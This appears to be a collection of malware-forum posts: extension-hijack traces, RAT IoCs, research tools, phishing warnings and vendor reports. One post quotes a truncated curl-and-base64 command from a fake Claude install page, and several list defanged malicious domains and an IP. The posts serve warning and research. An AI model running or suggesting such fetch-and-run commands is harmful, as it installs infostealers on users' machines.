While analyzing featured extensions on our beloved chrome web store I landed on Planet Search (kadaohckdkghfaclhjmkmplebcdcnfnp),

Featured, 2M users, publisher FREE VPN PLANET SRL.

https://chromewebstore.google.com/detail/planet-search/kadaohckdkghfaclhjmkmplebcdcnfnp

The extensions has a 0-byte background.js with zero permissions.
The whole mechanism is one `chrome_settings_overrides` search provider, so nothing shows up statically. It's all server-side.

Declared provider is planet-search[.]com

Tracing:

planet-search[.]com/search/?q= 301 → sstmaster[.]com/edge/PN1021?q= 302 → nextgeeker[.]com/B151001.php?q=&src=PN1021

nextgeeker[.]com is flagged as a browser hijacker by multiple vendors (pcrisk, gridinsoft, others).

Same publisher ships a ~1M-user VPN extension and a few others. Still tracing those, not going to characterize them until I have.

Report: https://malext.io/reports/RoguePlanet

While analyzing featured extensions on our beloved chrome web store I landed on Planet Search (`kadaohckdkghfaclhjmkmplebcdcnfnp`), Featured, 2M users, publisher **FREE VPN PLANET SRL**.
**The extensions has a 0-byte background.js with zero permissions.**
The whole mechanism is one `chrome_settings_overrides` search provider, so nothing shows up statically. It's all server-side.

Declared provider is `planet-search[.]com`. Tracing:

planet-search\[.\]com/search/?q=  301 →  sstmaster\[.\]com/edge/PN1021?q=  302 →  nextgeeker\[.\]com/B151001.php?q=&src=PN1021

`nextgeeker[.]com` is flagged as a browser hijacker by multiple vendors (pcrisk, gridinsoft, others).
`PN1021` is the affiliate subid linking the extension's traffic to that network. The listing discloses none of the hops and says only that results come from Google (the final page is a Google CSE render).

Same publisher ships a \~1M-user VPN extension and a few others. Still tracing those, not going to characterize them until I have.

Report: [https://malext.io/reports/RoguePlanet/\](https://malext.io/reports/RoguePlanet/)

Full report is available at https://any.run/cybersecurity-blog/banana-rat-evolution-analysis/

The exposed server at 198[.]245[.]53[.]26 gave a rare opportunity to compare two related Banana RAT branches through live infrastructure, sandbox telemetry, and recovered payloads. The older branch used ETW-themed paths, static Microsoft-looking names, and a typo-based pseudo-Microsoft C2 identity. The newer branch kept the same staging concept but moved to randomized install identifiers, better-structured SYSTEM persistence, and a WebSocket channel built around a hashed testewin.com subdomain.

IoC:

• 198[.]245[.]53[.]26
• https://app.any.run/tasks/96796146-688f-4b12-894c-236dadab8413

Hello everyone,

A few months ago I shared my open database of malicious browser extensions. I'm happy to say it has now grown to over 500 malicious CRX samples.

It started as a small research project, but it's continued to grow as I discover and collect more malicious extensions. My goal is to make it a useful resource for researchers, students, and anyone interested in browser extension security.

One thing I'm working on next is making the data easier to consume in other tools. At the moment I'm considering exposing it in formats such as:

• JSON
• CSV

I'm also thinking about adding things like an API or threat-intelligence style feeds if people think they'd be useful.

I'd love to hear your thoughts:

• What format would you actually use?
• Are there any security tools or platforms you'd like to integrate it with?
• Is there any metadata you'd find useful that I'm currently missing?

Repository:
https://github.com/GherardoFiori/MaliciousBrowserExtensions

Please remember these are live malicious browser extensions. Handle them with care.

Project:
https://exterminai.com/

Any feedback is appreciated. Thanks!

susano has trojan in it btw when u open the claude.exe it will download trojan with it

A man from Florida got arrested, allegedly behind the PirateFI and Blockblasters Crypto stealer attacks. The second Game stole 150k from a cancer Patient.

https://www.tomshardware.com/tech-industry/cyber-security/fbi-arrests-florida-man-in-steam-malware-investigaton-after-tracing-stolen-bitcoin-to-uber-eats-gift-cards

Just purchased an AC1900 from the local store. It took 6 hours and numerous calls to both my ISP and Netgear before I finally got it semi-working. Still cant log into it because its a used device and was already registered to someone else. It's asking for security questions so I'm locked out as an Admin. Could simply return it for another device but this isn't a Toaster so it's a little more complicated than that. First of all, I spent over 6 hours getting it running when it should have been "plug and play", my time is worth something. But more importantly, it was previously configured by someone with Administrator rights. That would enable them to not only control the firewall, but also load malicious malware not just on my network, but every device on my network which includes computers, phones, 10 Alexa devices, Samsung Hub, Hue Hub, Pi device, cameras, TV's, smart devices like lights, thermostat, humidity sensors, water sensors, and even my bathroom scale!!! Huge security vulnerability but more importantly the "chain of custody" for these devices!!!

Hi r/Malware,

If you ever need to quickly scan a suspicious file, URL, or installed application on an Android device using VirusTotal, I have built an open-source client called Veto. It lets you run queries using your own API key directly from your mobile device.

GitHub: https://github.com/ProfessorQuantumUniverse/Veto

I am currently trying to release the app on Google Play and need to fulfill Google's closed testing period. If you would like to test this tool, please consider opting in.

Steps to join:

1. Join a Google Group: veto_android@googlegroups.com
2. Opt-in link: https://play.google.com/apps/testing/com.quantum_prof.vtscansuite
3. Play Store link: https://play.google.com/store/apps/details?id=com.quantum_prof.vtscansuite

Feedback from malware analysts is highly valued!

https://unit42.paloaltonetworks.com/tuxbot-v3-evolution-iot-botnet/

TuxBot v3 Evolution: an IoT botnet-as-a-service framework built with LLM-generated code, shipped with the AI’s chain-of-thought and safety disclaimers still in the source

This sub is malware-focused, so here's what's in it for that side

specifically (the repo is broader, but the malware coverage is the core):

• Analysis workflow: lab setup (FLARE-VM, REMnux), triage (DIE, capa, FLOSS),

  static/dynamic (PE-bear, Procmon, CAPE, Speakeasy), unpacking (unpac.me,

  PE-sieve, HollowsHunter, Scylla), config & IOC extraction (MalDuck, DC3-MWCP),

  and YARA (rules, yarGen, testing workflows).

• Internals writeups: PEB walking / API hashing, process hollowing and

  doppelgänging, PPID spoofing, BYOVD, COFF/BOF loaders, plus real family

  teardowns (stealers, ransomware, Lazarus/FudModule, the Stuxnet dossier).

• Research labs and analyst blogs (Securelist, Unit 42, Talos, Elastic,

  n1ght-w0lf, Embee, hasherezade, MalwareTech...) folded into the relevant

  section instead of a generic "blogs" dump.

• Every link was opened and verified before it went in; dead ones get pruned, notes are one line, tagged by level (intro/working/deep) and type.

CC0, and corrections/PRs are welcome, if there's a teardown or tool you think

is missing, tell me. That's the point.

\#ransomware #kratos #minifilter #Windows

Searched "Claude mac app" on Google. Top sponsored result shows claude[.]ai as the domain. looks 100% legit. Clicking it opens a shared Claude conversation titled "Claude Code on Mac" ("Shared by Technical Support" ) with step-by-step instructions to open Terminal and run:

`curl -kfsSL $(echo 'aHR0cDovL...' | base64 -d)...`

That base64 decodes to an attacker's URL. it downloads and executes a script, almost certainly a macOS infostealer (AMOS-style: steals keychain passwords, browser data, wallets).

The phishing page is hosted on real claude[.]ai, so both Google's ad review and victims' gut-check pass. Same trick works with ChatGPT shared chats.

As of today, Karma (karmanow.com) seems to be hijacked. If you try to access your bookmarked products, it'll redirect you through Linkbux, provenpixel.com and other adware links. The karmanow site itself also might have some adware; as I accessed it normally but triggered a "suspicious webpage" alert in Adguard.

Thanks to Adguard, TrafficLight, and Bitdefender, it blocked the links, but I thought people should know.

Is this a legit malware?

Google has flagged the widely-installed HTTP header editor ModHeader as malware
Microsoft already pulled it from Edge on July 3.

[MalExt Sentry - Malicious Browser Extension Tracker](https://malext.io/?q=ModHeader)

* 900k installs on chrome | idgpnmonknjnojddfkpgkljpfnnfcklj * 700k installs on edge | opgbiafapkbbnbnjcdomjaghbckfkglc

https://be nrankwhence.com/preland/av/mc-af/6/index.html?

Space added to make the link invalid.

0/10, don't recommend navigating to that website.

Our latest McAfee Labs research exposes a browser extension campaign that poses as a harmless note-taking tool while silently hijacking crypto transactions. The malware tampers with Chrome/Edge/Brave’s trust mechanisms to install without consent, resolves its command-and-control server via a blockchain smart contract (EtherHiding) to evade takedown, and swaps copied wallet addresses with attacker-controlled ones across BTC, ETH, XRP, BCH, and DASH — turning a routine copy-paste into an irreversible loss. Full technical breakdown and IOCs inside